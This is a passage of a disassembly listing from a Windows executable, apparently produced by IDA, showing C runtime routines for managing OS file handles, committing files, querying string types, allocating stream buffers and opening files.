		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_430D14
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_430CD3
; ---------------------------------------------------------------------------

loc_430D14:				; CODE XREF: sub_430B60+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_431070
		add	esp, 4

loc_430D29:				; CODE XREF: sub_430B60+153j
		jmp	short loc_430D30
; ---------------------------------------------------------------------------

loc_430D2B:				; CODE XREF: sub_430B60:loc_430C91j
		jmp	loc_430B81
; ---------------------------------------------------------------------------

loc_430D30:				; CODE XREF: sub_430B60+2Ej
					; sub_430B60+12Cj ...
		push	12h
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_430B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430D50	proc near		; CODE XREF: .packed:00431023p
					; sub_4314E0+379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	loc_430DEA
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_430DEA
		cmp	dword_451904, 1
		jnz	short loc_430DCA
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_430DA2
		cmp	[ebp+var_4], 1
		jz	short loc_430DB0
		cmp	[ebp+var_4], 2
		jz	short loc_430DBE
		jmp	short loc_430DCA
; ---------------------------------------------------------------------------

loc_430DA2:				; CODE XREF: sub_430D50+42j
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFF6h
		call	dword_4F5310	; SetStdHandle
		jmp	short loc_430DCA
; ---------------------------------------------------------------------------

loc_430DB0:				; CODE XREF: sub_430D50+48j
		mov	eax, [ebp+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_4F5310	; SetStdHandle
		jmp	short loc_430DCA
; ---------------------------------------------------------------------------

loc_430DBE:				; CODE XREF: sub_430D50+4Ej
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0FFFFFFF4h
		call	dword_4F5310	; SetStdHandle

loc_430DCA:				; CODE XREF: sub_430D50+36j
					; sub_430D50+50j ...
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_430E03
; ---------------------------------------------------------------------------

loc_430DEA:				; CODE XREF: sub_430D50+Dj
					; sub_430D50+2Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_430E03:				; CODE XREF: sub_430D50+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_430D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430E10	proc near		; CODE XREF: sub_422D30+69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	loc_430ECB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_430ECB
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_430ECB
		cmp	dword_451904, 1
		jnz	short loc_430EAA
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_430E88
		cmp	[ebp+var_4], 1
		jz	short loc_430E94
		cmp	[ebp+var_4], 2
		jz	short loc_430EA0
		jmp	short loc_430EAA
; ---------------------------------------------------------------------------

loc_430E88:				; CODE XREF: sub_430E10+68j
		push	0
		push	0FFFFFFF6h
		call	dword_4F5310	; SetStdHandle
		jmp	short loc_430EAA
; ---------------------------------------------------------------------------

loc_430E94:				; CODE XREF: sub_430E10+6Ej
		push	0
		push	0FFFFFFF5h
		call	dword_4F5310	; SetStdHandle
		jmp	short loc_430EAA
; ---------------------------------------------------------------------------

loc_430EA0:				; CODE XREF: sub_430E10+74j
		push	0
		push	0FFFFFFF4h
		call	dword_4F5310	; SetStdHandle

loc_430EAA:				; CODE XREF: sub_430E10+5Cj
					; sub_430E10+76j ...
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_430EE4
; ---------------------------------------------------------------------------

loc_430ECB:				; CODE XREF: sub_430E10+Dj
					; sub_430E10+33j ...
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_430EE4:				; CODE XREF: sub_430E10+B9j
		mov	esp, ebp
		pop	ebp
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430EF0	proc near		; CODE XREF: sub_422D30+9p
					; sub_422D30+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_430F3B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_430F3B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_430F54
; ---------------------------------------------------------------------------

loc_430F3B:				; CODE XREF: sub_430EF0+Cj
					; sub_430EF0+2Ej
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_430F54:				; CODE XREF: sub_430EF0+49j
		pop	ebp
		retn
sub_430EF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_430F7D
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl

loc_430F7D:				; CODE XREF: .packed:00430F72j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_430F92
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al

loc_430F92:				; CODE XREF: .packed:00430F88j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_430FA8
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl

loc_430FA8:				; CODE XREF: .packed:00430F9Dj
		mov	eax, [ebp+8]
		push	eax
		call	dword_4F5314	; GetFileType
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_430FD2
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_431060
; ---------------------------------------------------------------------------

loc_430FD2:				; CODE XREF: .packed:00430FB9j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_430FE3
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_430FF2
; ---------------------------------------------------------------------------

loc_430FE3:				; CODE XREF: .packed:00430FD6j
		cmp	dword ptr [ebp-4], 3
		jnz	short loc_430FF2
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl

loc_430FF2:				; CODE XREF: .packed:00430FE1j
					; .packed:00430FE7j
		call	sub_430B60
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_43101B
		call	sub_429A90
		mov	dword ptr [eax], 18h
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_431060
; ---------------------------------------------------------------------------

loc_43101B:				; CODE XREF: .packed:00430FFEj
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_430D50
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp-8]

loc_431060:				; CODE XREF: .packed:00430FCDj
					; .packed:00431019j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431070	proc near		; CODE XREF: sub_422CB0+50p
					; sub_4272F0+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4310D1
		push	11h
		call	sub_423280
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_4310C7
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4F54A4	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx

loc_4310C7:				; CODE XREF: sub_431070+39j
		push	11h
		call	sub_423320
		add	esp, 4

loc_4310D1:				; CODE XREF: sub_431070+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4F53A8	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_431070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431100	proc near		; CODE XREF: sub_422CB0+6Bp
					; sub_4272F0+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4F53A4	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_431100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431130	proc near		; CODE XREF: sub_422ED0+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_431161
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_431174

loc_431161:				; CODE XREF: sub_431130+Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_4311FE
; ---------------------------------------------------------------------------

loc_431174:				; CODE XREF: sub_431130+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_4311DD
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_430EF0
		add	esp, 4
		push	eax
		call	dword_4F530C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_4311C4
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_4311CB
; ---------------------------------------------------------------------------

loc_4311C4:				; CODE XREF: sub_431130+87j
		mov	[ebp+var_4], 0

loc_4311CB:				; CODE XREF: sub_431130+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_4311D3
		jmp	short loc_4311EF
; ---------------------------------------------------------------------------

loc_4311D3:				; CODE XREF: sub_431130+9Fj
		call	sub_429AA0
		mov	edx, [ebp+var_4]
		mov	[eax], edx

loc_4311DD:				; CODE XREF: sub_431130+70j
		call	sub_429A90
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh

loc_4311EF:				; CODE XREF: sub_431130+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_4311FE:				; CODE XREF: sub_431130+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_431130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431210	proc near		; CODE XREF: sub_427040+98p
					; sub_429560+ECp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D778
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F360C, 0
		jnz	short loc_43128E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_43D410
		push	1
		call	dword_4F5304	; GetStringTypeW
		test	eax, eax
		jz	short loc_431262
		mov	dword_4F360C, 1
		jmp	short loc_43128E
; ---------------------------------------------------------------------------

loc_431262:				; CODE XREF: sub_431210+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43D40C
		push	1
		push	0
		call	dword_4F5308	; GetStringTypeA
		test	eax, eax
		jz	short loc_431287
		mov	dword_4F360C, 2
		jmp	short loc_43128E
; ---------------------------------------------------------------------------

loc_431287:				; CODE XREF: sub_431210+69j
		xor	eax, eax
		jmp	loc_4313B8
; ---------------------------------------------------------------------------

loc_43128E:				; CODE XREF: sub_431210+2Dj
					; sub_431210+50j ...
		cmp	dword_4F360C, 2
		jnz	short loc_4312C5
		cmp	[ebp+arg_14], 0
		jnz	short loc_4312A6
		mov	edx, dword_4F34B8
		mov	[ebp+arg_14], edx

loc_4312A6:				; CODE XREF: sub_431210+8Bj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		call	dword_4F5308	; GetStringTypeA
		jmp	loc_4313B8
; ---------------------------------------------------------------------------

loc_4312C5:				; CODE XREF: sub_431210+85j
		cmp	dword_4F360C, 1
		jnz	loc_4313B6
		cmp	[ebp+arg_10], 0
		jnz	short loc_4312E1
		mov	edx, dword_4F34C8
		mov	[ebp+arg_10], edx

loc_4312E1:				; CODE XREF: sub_431210+C6j
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_18]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_431315
		xor	eax, eax
		jmp	loc_4313B8
; ---------------------------------------------------------------------------

loc_431315:				; CODE XREF: sub_431210+FCj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_2C], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43136B
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_43136B:				; CODE XREF: sub_431210+142j
		cmp	[ebp+var_24], 0
		jnz	short loc_431375
		xor	eax, eax
		jmp	short loc_4313B8
; ---------------------------------------------------------------------------

loc_431375:				; CODE XREF: sub_431210+15Fj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43139E
		xor	eax, eax
		jmp	short loc_4313B8
; ---------------------------------------------------------------------------

loc_43139E:				; CODE XREF: sub_431210+188j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5304	; GetStringTypeW
		jmp	short loc_4313B8
; ---------------------------------------------------------------------------

loc_4313B6:				; CODE XREF: sub_431210+BCj
		xor	eax, eax

loc_4313B8:				; CODE XREF: sub_431210+79j
					; sub_431210+B0j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_431210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4313D0	proc near		; CODE XREF: sub_427100+A1p
					; sub_427CE0+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_4313D7:				; CODE XREF: sub_4313D0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4313FB
		push	offset dword_43C514
		push	0
		push	2Eh
		push	offset dword_43D784
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4313FB
		int	3		; Trap to Debugger

loc_4313FB:				; CODE XREF: sub_4313D0+Bj
					; sub_4313D0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4313D7
		mov	ecx, dword_4F342C
		add	ecx, 1
		mov	dword_4F342C, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_43D784
		push	2
		push	1000h
		call	sub_41BE70
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_431456
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_43147B
; ---------------------------------------------------------------------------

loc_431456:				; CODE XREF: sub_4313D0+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2

loc_43147B:				; CODE XREF: sub_4313D0+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4313D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4314E0
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4314E0	proc near		; CODE XREF: sub_4277D0+2B0p
					; .packed:004314D3p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_43150D
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_431518
; ---------------------------------------------------------------------------

loc_43150D:				; CODE XREF: sub_4314E0+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0

loc_431518:				; CODE XREF: sub_4314E0+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_431551
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_43153C
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_431551
; ---------------------------------------------------------------------------

loc_43153C:				; CODE XREF: sub_4314E0+50j
		cmp	dword_4F3738, 8000h
		jz	short loc_431551
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl

loc_431551:				; CODE XREF: sub_4314E0+43j
					; sub_4314E0+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_43156E
		cmp	[ebp+var_40], 1
		jz	short loc_431577
		cmp	[ebp+var_40], 2
		jz	short loc_431580
		jmp	short loc_431589
; ---------------------------------------------------------------------------

loc_43156E:				; CODE XREF: sub_4314E0+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_4315A7
; ---------------------------------------------------------------------------

loc_431577:				; CODE XREF: sub_4314E0+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_4315A7
; ---------------------------------------------------------------------------

loc_431580:				; CODE XREF: sub_4314E0+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_4315A7
; ---------------------------------------------------------------------------

loc_431589:				; CODE XREF: sub_4314E0+8Cj
		call	sub_429A90
		mov	dword ptr [eax], 16h
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_4315A7:				; CODE XREF: sub_4314E0+95j
					; sub_4314E0+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_4315F2
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, byte_431A02[eax]
		jmp	off_4319EE[edx*4]

loc_4315CE:				; DATA XREF: .packed:off_4319EEo
		mov	[ebp+var_8], 0
		jmp	short loc_431610
; ---------------------------------------------------------------------------

loc_4315D7:				; CODE XREF: sub_4314E0+E7j
					; DATA XREF: .packed:004319F2o
		mov	[ebp+var_8], 1
		jmp	short loc_431610
; ---------------------------------------------------------------------------

loc_4315E0:				; CODE XREF: sub_4314E0+E7j
					; DATA XREF: .packed:004319F6o
		mov	[ebp+var_8], 2
		jmp	short loc_431610
; ---------------------------------------------------------------------------

loc_4315E9:				; CODE XREF: sub_4314E0+E7j
					; DATA XREF: .packed:004319FAo
		mov	[ebp+var_8], 3
		jmp	short loc_431610
; ---------------------------------------------------------------------------

loc_4315F2:				; CODE XREF: sub_4314E0+DAj
					; sub_4314E0+E7j
					; DATA XREF: ...
		call	sub_429A90
		mov	dword ptr [eax], 16h
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_431610:				; CODE XREF: sub_4314E0+F5j
					; sub_4314E0+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_43165C
		cmp	[ebp+var_48], 400h
		jz	short loc_431679
		cmp	[ebp+var_48], 200h
		jg	short loc_431651
		cmp	[ebp+var_48], 200h
		jz	short loc_431694
		cmp	[ebp+var_48], 0
		jz	short loc_431679
		cmp	[ebp+var_48], 100h
		jz	short loc_431682
		jmp	short loc_4316A6
; ---------------------------------------------------------------------------

loc_431651:				; CODE XREF: sub_4314E0+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_43169D
		jmp	short loc_4316A6
; ---------------------------------------------------------------------------

loc_43165C:				; CODE XREF: sub_4314E0+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_43168B
		cmp	[ebp+var_48], 600h
		jz	short loc_431694
		cmp	[ebp+var_48], 700h
		jz	short loc_43168B
		jmp	short loc_4316A6
; ---------------------------------------------------------------------------

loc_431679:				; CODE XREF: sub_4314E0+14Cj
					; sub_4314E0+164j
		mov	[ebp+var_18], 3
		jmp	short loc_4316C4
; ---------------------------------------------------------------------------

loc_431682:				; CODE XREF: sub_4314E0+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_4316C4
; ---------------------------------------------------------------------------

loc_43168B:				; CODE XREF: sub_4314E0+183j
					; sub_4314E0+195j
		mov	[ebp+var_18], 1
		jmp	short loc_4316C4
; ---------------------------------------------------------------------------

loc_431694:				; CODE XREF: sub_4314E0+15Ej
					; sub_4314E0+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_4316C4
; ---------------------------------------------------------------------------

loc_43169D:				; CODE XREF: sub_4314E0+178j
		mov	[ebp+var_18], 2
		jmp	short loc_4316C4
; ---------------------------------------------------------------------------

loc_4316A6:				; CODE XREF: sub_4314E0+16Fj
					; sub_4314E0+17Aj ...
		call	sub_429A90
		mov	dword ptr [eax], 16h
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

